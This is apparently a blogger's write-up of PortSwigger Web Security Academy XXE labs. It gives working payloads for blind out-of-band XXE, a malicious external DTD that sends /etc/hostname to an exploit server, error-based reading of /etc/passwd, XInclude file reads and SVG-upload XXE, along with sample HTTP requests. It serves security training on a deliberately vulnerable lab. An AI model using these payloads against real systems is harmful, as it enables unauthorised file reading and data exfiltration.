Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:
3 Blind XXE with out-of-band interaction
This lab demonstrates exploiting blind XXE vulnerabilities that require out-of-band interaction to confirm and extract data.
4 Blind XXE with out-of-band interaction via XML parameter entities
This lab shows advanced blind XXE exploitation using XML parameter entities for out-of-band data retrieval.
5 Exploiting blind XXE to exfiltrate data using a malicious external DTD
This lab explains how to use malicious external DTDs to exfiltrate data through blind XXE attacks.
6 Exploiting blind XXE to retrieve data via error messages
This lab shows how to exploit blind XXE by causing error messages that leak sensitive information.
7 Exploiting XInclude to retrieve files
This lab demonstrates how XInclude can be abused in XXE attacks to retrieve files from the server.
8 Exploiting XXE via image file upload
This lab shows how XXE vulnerabilities can be exploited through image file uploads containing malicious XML data.
LAB 3 - Blind XXE with out-of-band interaction
Lab Description
Solution
🕵️ Detecting Blind XXE with Burp Collaborator
In some applications, direct XXE attacks may return an error or no response at all — indicating XXE protections are in place or the results of entity expansion are not reflected in the response.
This is known as Blind XXE.
To detect blind xxe in such cases, you can use out-of-band (OAST) techniques by forcing the server to interact with an external resource — such as a Burp Collaborator URL.
Clicking on checkstock feature send the following request,
POST /product/stock HTTP/1.1
Host: af200a003758a3c805485480033006f.web-security-academy.net
Cookie: session=wddsUKKawFN8qZnb8SyEtJbdsdsdmyhRWxmQ
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://af200a003758a3c805485480033006f.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://af200a003758a3c805485480033006f.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
To solve the lab we need to make an out bound request to our collaborator server to solve the lab.
For this we can use the following payload
<!DOCTYPE root [<!ENTITY % ext SYSTEM "http://burp-collaborator.net/">]>
<stockCheck>
<productId>%ext;</productId>
<storeId>1</storeId>
</stockCheck>
But in the response we get an error stating that - Entities are not allowed for security reasons
Request:
Response:
So instead of using parameterized entities, we use normal entities.
📦 Payload for Blind XXE
Replace your entity declaration to point to your Burp Collaborator domain (or any controlled external domain):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://r......c.oastify.com"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
🧠 Replace the
oastify.comdomain with your own Burp Collaborator payload URL.
The response states - Invalid product ID which is an indicator that there is no productID but still the application may have parsed the entity and made out-bound request to our burp collaborator server.
✅ Confirming the XXE
- Send the request via Burp Repeater or any HTTP client.
- Go to Burp → Collaborator tab.
- Click “Poll now” to check for any DNS or HTTP interactions.
- Your request is logged, you’ve confirmed a Blind XXE vulnerability.
We have solved the lab
🛠️ Real-World Impact
-
Blind XXE can still be exploited for:
- SSRF (Server-Side Request Forgery)
- Port Scanning
- File Exfiltration (via DNS if necessary)
- Service Enumeration
LAB 4 - Blind XXE with out-of-band interaction via XML parameter entities
Lab Description
📘 Overview: Blind XXE Using Parameter Entities
Sometimes, regular XXE payloads are blocked by input filters or hardened XML parsers. In such cases, parameter entities offer an alternative method of exploitation.
🧬 What Are Parameter Entities?
Parameter entities are a special kind of XML entity that:
- Are declared using a
%sign. - Can only be referenced within the DTD (Document Type Definition).
- Are useful in bypassing filters that block
<!ENTITY ... SYSTEM ...>in regular XML content.
📌 Declaration Syntax
<!ENTITY % myparameterentity "my parameter entity value" >
📌 Usage
Instead of using &name; like regular entities, parameter entities use %name;:
%myparameterentity;
🔍 Blind XXE via OOB Detection Using Parameter Entities
If the server doesn’t return XXE output in the HTTP response, you can still detect blind XXE by monitoring for out-of-band (OOB) DNS or HTTP interactions using Burp Collaborator or your own server.
💣 Sample Payload
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">
%xxe;
]>
- Step 1: Declares a parameter entity
%xxethat fetches content from an attacker-controlled domain. - Step 2: References the entity inside the DTD, which triggers a DNS/HTTP request.
✅ If you observe a hit on your Burp Collaborator domain, the application is vulnerable to Blind XXE.
🔐 When to Use
- The server blocks
file://or regularSYSTEMentities. - You receive no XML error output or leaked content.
- You suspect the XML parser resolves DTDs and external content.
Solution
Clicking on checkstock feature send the following request,
POST /product/stock HTTP/1.1
Host: Da8300cf94a26be480260884005700e8.web-security-academy.net
Cookie: session=sUKKadfdsfwFN8qZnb8SyEtJbdsdsdmyhtyty
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Da8300cf94a26be480260884005700e8-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://Da8300cf94a26be480260884005700e8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
To solve the lab we need to make an out bound request to our collaborator server to solve the lab.
For this we can use the following payload
<!DOCTYPE root [<!ENTITY % ext SYSTEM "http://burp-collaborator.net/">]>
<stockCheck>
<productId>%ext;</productId>
<storeId>1</storeId>
</stockCheck>
🔹 Modify Request with Parameter Entity Payload
Replace the original XML with the following:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://q6x580qbz3i8x9wutkq9i4bg97fy3ord.oastify.com">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
- Replace
q6x580qbz3i8x9wutkq9i4bg97fy3ord.oastify.comwith your Burp Collaborator domain. <!ENTITY % xxe SYSTEM "...">defines a parameter entity that loads from an external domain.-
%xxe;invokes the parameter entity inside the DTD (required for execution).
📡 Detect the OOB Interaction
- Go to Burp Collaborator tab.
- Click “Poll now”.
-
If you see DNS or HTTP interactions, the lab is vulnerable.
-
Lab gets marked as Solved automatically after interaction.
Key Takeaway
-
Check if the application accepts XML input
- Submit a basic XML payload to confirm that the server processes XML content.
-
If XML is accepted, attempt to declare an internal entity
- Define a simple XML entity within a
DOCTYPEdeclaration to test for potential injection.
- Define a simple XML entity within a
-
Try referencing the declared entity in the XML body
- If the entity is expanded or triggers a response, it may indicate a vulnerability.
-
If referencing the entity causes an error or is blocked, test using parameter entities
- Parameter entities are used within the DTD and can be leveraged for out-of-band (OOB) interaction, useful for detecting blind XXE vulnerabilities.
LAB 5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
Lab Description
Solution
🔐 Step 1: Host Malicious DTD on Exploit Server
Create the following DTD file (malicious.dtd) and upload it to your exploit server:
Note you can also used your collabrator server so you get response there instamce of this https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/?x=%file
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;
💡 Note: Instead of using the provided exploit server, you can optionally host the DTD on your own Burp Collaborator server or OAST domain (e.g.,
https://your-collaborator-id.oastify.com/?x=%file). This approach allows you to directly observe DNS or HTTP interactions triggered by the vulnerable XML parser, making it ideal for blind XXE exploitation and real-time validation.
🔍 Explanation:
-
<!ENTITY % file SYSTEM "file:///etc/hostname">→ Loads the contents of/etc/hostnameinto thefileentity. -
<!ENTITY % eval "...">→ Dynamically defines another entity,exfiltrate, to send the file contents via HTTP to your server. -
%eval;→ Triggers evaluation of the new declaration. -
%exfiltrate;→ Executes the request to send the file content as a query parameter.
📦 Step 2: Send the XML Payload to Target Application
Submit the following XML payload to the vulnerable “Check stock” feature:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://exploit-0ad2004004843a168182a2f5018800b6.exploit-server.net/malicious.dtd">
%xxe;
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
📡 Step 3: Monitor Exploit Server for Interaction
- Go to your exploit-server access logs.
-
You should see a request like:
GET /?x=TARGET-HOSTNAME
This confirms that the XXE payload successfully caused the server to fetch and process the malicious DTD, and exfiltrate the hostname.
Submit the hostname to solve the lab.
✅ Key Takeaway
-
IF WE CAN’T EXFILTRATE DATA IN-BAND, TRY CALLING OUR EXTERNALLY-HOSTED SERVER
-
IF THERE’S NO EGRESS FILTERING WE CAN BEGIN OOB DATA EXFILTRATION
LAB 6 - Exploiting blind XXE to retrieve data via error messages
Lab Description
Solution
📁 Step 1: Host Malicious DTD on Exploit Server
Create and upload the following malicious DTD to your exploit server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
💡 How It Works:
%fileloads the contents of/etc/passwd.%evaldynamically defines a new parameter entity namederrorthat references a non-existent file path containing%file.%errortriggers the error by attempting to access an invalid path. This forces the XML parser to throw an error message that includes the content of/etc/passwd.
📤 Step 2: Send XXE Payload to Target
Send the following XML payload to the “Check stock” feature of the target application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://exploit-0a89003a032db21e8245e131014c005d.exploit-server.net/malicious.dtd">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
📋 Expected Behavior
Since the application does not display stock check results, but does return XML parsing errors, the malicious payload triggers a parsing failure. The error message will include the expanded contents of /etc/passwd due to the forced invalid path.
Thus we can see lab is solved
✅ Key Takeaway
📄 Reading Multi-line Data via Error-Based XXE
- Use FTP or file URI — Remember, XXE can abuse various URI schemes like
ftp://,file://, etc. - Trigger XML Parsing Errors — If the app reflects XML parsing errors, you can embed file content in the error response.
💥 Execution Logic
- First, load a malicious external DTD from your server.
- The external DTD:
- Loads the contents of
/etc/passwdinto a parameter entity (%file). - Constructs a dynamic URL like
/nonexistent/%file. - When this path is requested, it triggers a parsing error since
/nonexistent/does not exist.
- Loads the contents of
- The error message reveals:
Error: file not found: /nonexistent/root\:x:0:0\:root:/root:/bin/bash
⚠️ Error-Based Exfiltration Constraints
- Even though errors are reflected in-band, you still need OOB interaction to stack parameter entities using external DTD.
- The application must return XML parsing errors in the HTTP response to expose the content of the multi-line file.
LAB 7 - Exploiting XInclude to retrieve files
Lab Description
Solution
🔧 XInclude Use Cases
When to Use XInclude:
- ✅ You do not have control over the entire XML document — only over a fragment (e.g., a parameter like
productId). - ✅ The application reflects or processes the content of the element you control.
🧪 XInclude Payload Example
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
This attempts to include the contents of /etc/passwd in the XML response.
📬 Initial Request
Usually if an API accepts JSON data, then most probably it will also accept xml data too. We can change the content type by using
content-type-converter
In this lab sending JSON data didn’t work.
We will used below payload:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
To inject this payload into a specific parameter (e.g., productId), URL-encode the XML and send it in the body:
POST /product/stock HTTP/2
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
...
productId=%3Cfoo+xmlns%3Axi%3D%22http%3A//www.w3.org/2001/XInclude%22%3E%3Cxi%3Ainclude+parse%3D%22text%22+href%3D%22file%3A///etc/passwd%22/%3E%3C/foo%3E&storeId=1
✅ Lab Success Criteria
- You do not control the full XML structure but can inject inside a tag or attribute.
- The server uses an XML parser that supports XInclude processing.
- Submitting the payload should cause the application to return the contents of the target file (
/etc/passwd).
🔐 XInclude attacks depend heavily on the parser configuration. Many secure parsers disable XInclude by default.
LAB 8 - Exploiting XXE via image file upload
Lab Description
Solution
🖼️ SVG-Based XXE Exploitation
🔍 File Type Awareness
When analyzing for potential XXE vulnerabilities, keep an eye on the accepted file types:
- Formats like
.docx,.xlsx, and.pptxare actually ZIP archives containing XML files inside. - If the application accepts images like
.pngor.jpg, try uploading an.svgfile.- SVG uses XML, and if not properly validated, it can be abused for XXE.
Svg file used xml to for building svg file below is svg example file in xml
⚙️ Step-by-Step Attack Flow
We can see the image upload process in below image
🧪 Step 1: Test for OOB Interaction (Collaborator Check)
Intercept above request
Modify the request:
- Change the uploaded file to
test.svg - Set header:
Content-Type: image/svg+xml - Payload to test DNS request:
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<strong>YOUR-COLLABORATOR-ID</strong>.oastify.com"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
</pre>
✅ If your Burp Collaborator gets a ping, the parser is vulnerable to XXE.
The server returns a 500 error code but the connections were generated:
🔓 Step 2: Local File Read via XXE
Now exfiltrate the contents of /etc/hostname:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" height="200" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
🟢 Upload this as test.svg, attach it as your avatar, and submit the comment.
🖼 When you open your avatar in a new tab, the contents of /etc/hostname (e.g., 81da8cd96d3a) will be visible inside the image.
If successful, the image renders the server’s hostname.
Submit the name of the hostname to solve the lab.
📌 Key Takeaways
- SVG files are XML-based, making them a good candidate for XXE if accepted.
- Use
image/svg+xmlcontent type during upload. - Use Apache Batik, lxml, or other XML libraries to test locally.
- If the app doesn’t render in response, test for Out-of-Band (OOB) XXE using Burp Collaborator.
🧠 Pro Tip
Many image processing pipelines (like Batik) parse SVGs and execute embedded XML, so even without full control over the backend, you can leak sensitive files if the image is rendered.